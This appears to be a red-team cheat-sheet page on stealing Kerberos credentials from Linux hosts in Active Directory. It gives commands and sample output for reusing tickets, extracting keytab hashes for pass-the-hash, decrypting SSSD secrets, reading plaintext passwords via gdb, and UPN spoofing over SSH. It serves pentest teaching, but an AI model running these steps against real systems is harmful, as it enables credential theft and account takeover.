ad-adds-linux.md (8984B)
1 --- 2 title: "Active Directory - Linux" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/ad-adds-linux.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adds-linux.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Active Directory - Linux 12 13 ## CCACHE ticket reuse from /tmp 14 15 > When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions 16 17 List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. 18 19 ```powershell 20 $ ls /tmp/ | grep krb5cc 21 krb5cc_1000 22 krb5cc_1569901113 23 krb5cc_1569901115 24 25 $ export KRB5CCNAME=/tmp/krb5cc_1569901115 26 ``` 27 28 ## CCACHE ticket reuse from keyring 29 30 Tool to extract Kerberos tickets from Linux kernel keys : <https://github.com/TarlogicSecurity/tickey> 31 32 ```powershell 33 # Configuration and build 34 git clone https://github.com/TarlogicSecurity/tickey 35 cd tickey/tickey 36 make CONF=Release 37 38 [root@Lab-LSV01 /]# /tmp/tickey -i 39 [*] krb5 ccache_name = KEYRING:session:sess_%{uid} 40 [+] root detected, so... DUMP ALL THE TICKETS!! 41 [*] Trying to inject in tarlogic[1000] session... 42 [+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache 43 [*] Trying to inject in velociraptor[1120601115] session... 44 [+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache 45 [*] Trying to inject in trex[1120601113] session... 46 [+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache 47 [X] [uid:0] Error retrieving tickets 48 ``` 49 50 ## CCACHE ticket reuse from SSSD KCM 51 52 System Security Services Daemon (SSSD) maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. 53 The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. 54 By default, the key is only readable if you have **root** permissions. 55 56 Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets. 57 58 ```powershell 59 git clone https://github.com/fireeye/SSSDKCMExtractor 60 python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey 61 ``` 62 63 The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus. 64 65 ## CCACHE ticket reuse from keytab 66 67 ```powershell 68 git clone https://github.com/its-a-feature/KeytabParser 69 python KeytabParser.py /etc/krb5.keytab 70 klist -k /etc/krb5.keytab 71 ``` 72 73 ## Extract accounts from /etc/krb5.keytab 74 75 The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. 76 77 Use [microsoft/klist](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/klist) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user. 78 79 ```powershell 80 $ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab 81 [...] 82 [26] Service principal: host/COMPUTER@DOMAIN 83 KVNO: 25 84 Key type: 23 85 Key: 31d6cfe0d16ae931b73c59d7e0c089c0 86 Time stamp: Oct 07, 2019 09:12:02 87 [...] 88 ``` 89 90 On Linux you can use [sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash. 91 92 ```powershell 93 $ python3 keytabextract.py krb5.keytab 94 [!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck 95 [+] Keytab File successfully imported. 96 REALM : DOMAIN 97 SERVICE PRINCIPAL : host/computer.domain 98 NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky 99 ``` 100 101 On macOS you can use [its-a-feature/bifrost](https://github.com/its-a-feature/bifrost). 102 103 ```powershell 104 ./bifrost -action dump -source keytab -path test 105 ``` 106 107 Connect to the machine using the account and the hash with CME. 108 109 ```powershell 110 $ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN" 111 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 112 ``` 113 114 ## Extract accounts from /etc/sssd/sssd.conf 115 116 > sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf 117 118 The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password". 119 120 ```ini 121 [sssd] 122 config_file_version = 2 123 ... 124 [domain/LDAP] 125 ... 126 ldap_uri = ldap://127.0.0.1 127 ldap_search_base = ou=People,dc=srv,dc=world 128 ldap_default_authtok_type = obfuscated_password 129 ldap_default_authtok = [BASE64_ENCODED_TOKEN] 130 ``` 131 132 De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate) 133 134 ```ps1 135 ./sss_deobfuscate [ldap_default_authtok_base64_encoded] 136 ./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID 137 ``` 138 139 ## Extract accounts from SSSD keyring 140 141 **Requirements**: 142 143 * `krb5_store_password_if_offline = True` in `/etc/sssd/sssd.conf` 144 145 **Exploit**: 146 147 When `krb5_store_password_if_offline` is enabled, the AD password is stored plaintext. 148 149 ```ps1 150 [domain/domain.local] 151 cache_credentials = True 152 ipa_domain = domain.local 153 id_provider = ipa 154 auth_provider = ipa 155 access_provider = ipa 156 chpass_provider = ipa 157 ipa_server = _srv_, server.domain.local 158 krb5_store_password_if_offline = true 159 ``` 160 161 Grab the PID of the SSSD process and hook it in `gdb`. Then list the process keyrings. 162 163 ```ps1 164 gdb -p <PID_OF_SSSD> 165 call system("keyctl show > /tmp/output") 166 ``` 167 168 From the `/tmp/output` locate the `key_id` for the user you want. 169 170 ```ps1 171 Session Keyring 172 237034099 --alswrv 0 0 keyring: _ses 173 689325199 --alswrv 0 0 \_ user: user@domain.local 174 ``` 175 176 Back to GDB: 177 178 ```ps1 179 call system("keyctl print 689325199 > /tmp/output") 180 ``` 181 182 ## SSH GSSAPI 183 184 GSSAPI (Generic Security Services Application Program Interface) is an API that provides security services (such as authentication) and acts as an abstraction layer for different security mechanisms, such as Kerberos. 185 186 **Requirements**: 187 188 * Write permission on **Public-Information** field 189 * SSH server supporting GSSAPI authentication: [CCob/gssapi-abuse](https://github.com/CCob/gssapi-abuse) 190 191 ```ps1 192 ./gssapi-abuse.py -d grandline.local enum -u username -p 'P@ssw0rd' 193 ``` 194 195 **Methodology**: 196 197 Since MIT Kerberos doesn't verify the PAC, controlling a domain account and altering its UPN allows us to masquerade as a different user. 198 199 * Modify the `userPrincipalName` inside the **Public-Information** field. 200 201 ```ps1 202 bloodyAD --host "dc1.domain.local" -d "domain.local" -u 'username' -p 'P@ssw0rd' set object username userPrincipalName -v 'administrator' 203 ``` 204 205 * Request a ticket with the `NT_ENTERPRISE` principal because it searches for `userPrincipalName` before `samAccountName` in the ticket. 206 207 ```ps1 208 getTGT.py -dc-ip "10.10.10.10" "domain.local"/"username":'P@ssw0rd' -principalType NT_ENTERPRISE 209 .\Rubeus.exe asktgt /user:Administrator /password:Password /principalType:enterprise 210 ``` 211 212 * Edit `/etc/krb5.conf` to authenticate to the Linux host via GSSAPI. 213 214 ```yaml 215 [libdefaults] 216 default_realm = DOMAIN.LOCAL 217 218 [realms] 219 DOMAIN.LOCAL = { 220 kdc = dc1.domain.local 221 } 222 223 [domain_realm] 224 .domain.local = DOMAIN.LOCAL 225 domain.local = DOMAIN.LOCAL 226 ``` 227 228 * SSH connection 229 230 ```ps1 231 export KRB5CCNAME=username.ccache 232 ssh -vv -K username@domain.local@linux.domain.local 233 ``` 234 235 ## References 236 237 * [20.4. Caching Kerberos Passwords - Red Hat Customer Portal](https://access.redhat.com/documentation/fr-fr/red_hat_enterprise_linux/6/html/identity_management_guide/kerberos-pwd-cache) 238 * [A broken marriage. Abusing mixed vendor Kerberos stacks - Ceri Coburn - August 25, 2023](https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/?ref=rayanle.cat) 239 * [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/) 240 * [Hack'in 2025 - One Directory - rayanlecat - June 25, 2025](https://www.rayanle.cat/hackin-2025-one-directory/) 241 * [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)